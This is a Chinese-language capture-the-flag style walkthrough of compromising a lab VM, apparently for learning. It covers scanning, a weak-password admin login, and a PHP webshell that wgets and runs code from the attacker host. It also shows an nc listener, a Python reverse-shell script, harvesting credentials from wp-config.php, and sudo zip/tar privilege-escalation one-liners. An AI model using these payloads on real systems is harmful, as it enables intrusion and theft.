1、首先探测靶机的信息

nmap -sV -T4 192.168.222.135

image.png

2、扫描网页目录

dirb http://192.168.222.135

image.png

nikto -host 192.168.222.135

image.png

发现利用nikto扫描网页时发现没有可以利用的信息。
在dirb中发现有个dbadmin的网页,访问网页查看

image.png

发现了网站登录后台

尝试弱密码
-------------------
123456
123123
admin
-------------------
admin 尝试成功

image.png

可以利用的信息只有一个数据库,尝试用OWASP扫描网页查看是否还有网页漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nFcJvurM-1634979695899)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\image-20211022151545401.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A8Ewuk0P-1634979695899)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\image-20211022151754555.png)]

发现了目录遍历漏洞,访问网页

image.png

掌握的信息有1、数据库&2、目录遍历
在kali里找到webshell进行上传服务器操作来getshell

二部分,getshell

1、使用kali自带的webshell

cd /usr/share/webshells/php/
cp php-reverse-shell.php /root/Desktop              //将shell文件复制到root桌面目录下
mv php-reverse-shell.php shell.php                  //将文件重命名为shell
vim shell.php                                 //修改shell.php的基础信息

image.png

image.png

2、通过网页上传漏洞

image.png

表的内容应为我们创建的webshell,所以需要构建语句来进行上传&访问操作
gedit shell.txt                   //创建一个文本用于复制
<?php system("cd /tmp;wget http://192.168.222.128/webshell.php;chmod +x webshell.php;php webshell.php");?>

image.png

不着急创建表,从构造语句中可以看出有Wget的命令url路径,要实现操作的话,首先需要将kali成为一台http服务器才可以让其Wget下载文件.
通过pyhon的指令来将kali的桌面变成小型HTTP服务器
python -m "SimpleHTTPServer"

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VDpfzWAH-1634979695902)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\image-20211022155223826.png)]0

可以看出8000端口,所以在数据表上加上8000端口以使它能够访问kali
同时开启kali的nc监听,以接受webshell的回弹指令
nc -nlvp 4444

image.png

image.png

image.png

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2uvkArOd-1634979695903)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\image-20211022160204064.png)]

第三部分,提权

查看其系统是否有内核漏洞

id                            #查看用户权限
uname -a                   #查看内核版本
cat /etc/issue                  #查看发行版本
cat /etc/*-release              #查看发行版本
得知其发行版本为Ubuntu 12.04.5 LTS

image-20211022160609936.png

searchsploit Ubuntu 12.04.5 LTS
发现并没有对应的内核版本漏洞

image-20211022161847262.png

定时任务进程

系统内可能存在一些定时执行的任务,一般由crontab管理,具有所属用户权限。普通用户可以列出/etc/内系统的定时任务可以被列出,但不可列出root的。如果有存在当前用户或所有用户可执行修改的定时进程,则可以替换该文件,变成反弹shell提权的代码。如脚本为py的,其它的类似如下操作
反弹shell脚本

#!/usr/bin/python
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)        #以太网和TCP套接字
s.connect(("127.0.0.1",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])       #进程调用/bin/sh

****
查看是否有替他用户的计划任务
cat /etc/crontab   

image.png

密码复用

很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码

有了(疑似)root密码怎么办?你一定想ssh登录。然而ssh很可能禁止root登录,或是防火墙规则将你排除在外了。此时我们是有着低权shell嘛,在上面输入密码。登录用户就好,在低权shell里面用sudo是不奏效的,出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能.在shell里面输入:
python -c 'import pty;pty.spawn("/bin/sh")'

image.png

查看home目录,是否有可以利用的用户

image.png

ls -alh       查看本文件夹下的所有文件(包括隐藏文件)
发现有ssh 可以通过ssh来连接该用户
cd wordpress
查看是否有敏感文件
查看wp-config.php 
发现mysql的密码

image-20211023112534213.png

image.png

image.png

输入sudo -l  查看当前用户可以使用root提权的命令信息

image.png

利用ZIP提权

touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"
提权成功

image.png

利用TAR提权

sudo -u root tar cf /dev/null exploit --checkpoint=1 --checkpoint-action="/bin/bash"
上面的指令报错,换另一种
sudo -u root tar cf /dev/null exploit --checkpoint=1 --checkpoint-action=exec=/bin/bash
提权成功

image.png